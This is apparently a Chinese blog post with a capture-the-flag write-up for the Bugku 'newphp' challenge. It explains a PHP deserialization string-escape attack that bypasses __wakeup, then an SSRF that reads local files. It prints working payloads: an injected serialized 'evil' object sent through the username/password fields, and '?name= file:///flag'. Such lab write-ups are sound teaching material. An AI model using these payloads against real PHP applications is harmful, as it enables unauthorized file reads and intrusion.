bugku-newphp

打开题目

是一串php代码

 1 <?php
 2 // php版本:5.4.44
 3 header("Content-type: text/html; charset=utf-8");
 4 highlight_file(__FILE__);
 5 
 6 class evil{
 7     public $hint;
 8 
 9     public function __construct($hint){
10         $this->hint = $hint;
11     }
12 
13     public function __destruct(){
14     if($this->hint==="hint.php")
15             @$this->hint = base64_encode(file_get_contents($this->hint)); 
16         var_dump($this->hint);
17     }
18 
19     function __wakeup() { 
20         if ($this->hint != "╭(●`∀´●)╯") { 
21             //There's a hint in ./hint.php
22             $this->hint = "╰(●’◡’●)╮"; 
23         } 
24     }
25 }
26 
27 class User
28 {
29     public $username;
30     public $password;
31 
32     public function __construct($username, $password){
33         $this->username = $username;
34         $this->password = $password;
35     }
36 
37 }
38 
39 function write($data){
40     global $tmp;
41     $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
42     $tmp = $data;
43 }
44 
45 function read(){
46     global $tmp;
47     $data = $tmp;
48     $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
49     return $r;
50 }
51 
52 $tmp = "test";
53 $username = $_POST['username'];
54 $password = $_POST['password'];
55 
56 $a = serialize(new User($username, $password));
57 if(preg_match('/flag/is',$a))
58     die("NoNoNo!");
59 
60 unserialize(read(write($a)));

发现有一个hint.php文件,试试看能不能直接访问

 

果然,没有任何东西,

还是老老实实的审计代码把

首先在evil类里$this->hint指向文件触发file_get_contents函数读取文件内容,然后提示有个hint.php,要构造触发这个evil类

 

 

再将将evil后面的数字改的更大就行了(绕过_wakeup只需对象属性个数值改得比真实对象大)

payload:O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

然后再user类中,有read()方法和write() 方法

这两个方法都是经过处理后才进行反序列化的

这里就有一个漏洞了,php反序列化字符串逃逸

php特性:

1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
2.对类中不存在的属性也会进行反序列化

漏洞原因:序列化的字符串在经过过滤函数不正确的处理而导致对象注入

详细的可以看下这篇文章

user类触发的payload为:O:4:"User":2:{s:8:"username";s:3:"111";s:8:"password";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}

这时候我们要替换掉的就是:";s:8:"password";s:41:" 共有23位

而每次添加一组\0\0\0能多吞掉3个字符,所以肯定需要3的倍数,我们可以在password的值上再加一个任意字符,即可凑齐24个

payload: username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

 

 

再将得出的字符串进行base64解码

 

 

 访问index.cgi

得到一串代码

{
  "args": {
    "name": "Bob"
  }, 
  "headers": {
    "Accept": "*/*", 
    "Host": "httpbin.org", 
    "User-Agent": "curl/7.64.0", 
    "X-Amzn-Trace-Id": "Root=1-60cc5790-4d6de1ed0d4813ab786ed249"
  }, 
  "origin": "114.67.246.176", 
  "url": "http://httpbin.org/get?name=Bob"
}

感觉有ssrf

随便get一下

 

 

 

 果然存在

知道ssrf存在然后就可以通过file协议来直接读取flag了

payload:?name= file:///flag

 

 

posted @ 2021-06-18 16:30  c0d1  阅读(1077)  评论(1编辑  收藏  举报